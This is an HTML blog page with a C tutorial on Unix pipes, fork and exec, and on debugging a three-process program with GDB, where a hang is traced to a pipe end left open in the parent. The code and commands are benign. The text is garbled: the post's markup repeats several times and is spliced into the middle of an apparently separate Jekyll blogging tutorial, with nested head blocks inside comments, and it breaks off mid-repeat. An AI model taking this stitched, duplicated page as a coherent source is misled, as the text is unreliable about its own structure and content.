                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
      	</body>
    </html>
    

    notice this is a complete HTML file and the ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    placeholder is where the content ofpost.html``` should fit into.

    The {% include foo.ext %}s are straightforward, they will be replaced by contents of _include/foo.ext.

    Let’s create file _include/head.html with following content:

    <head>
    	<meta charset="utf-8">	
    </head>
    

    This header has many things missing, but it works for our most simple blog.

    Therefore, after replacing everything, the actual HTML file for posts will be

    <!DOCTYPE html>
    <html>
    	<!-- Replace <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
     start -->
    	<head>
    		<meta charset="utf-8">	
    	</head>
    	<!-- Replace <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
     end -->
    	
    	<body>
    	
    		<!-- Replace <!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
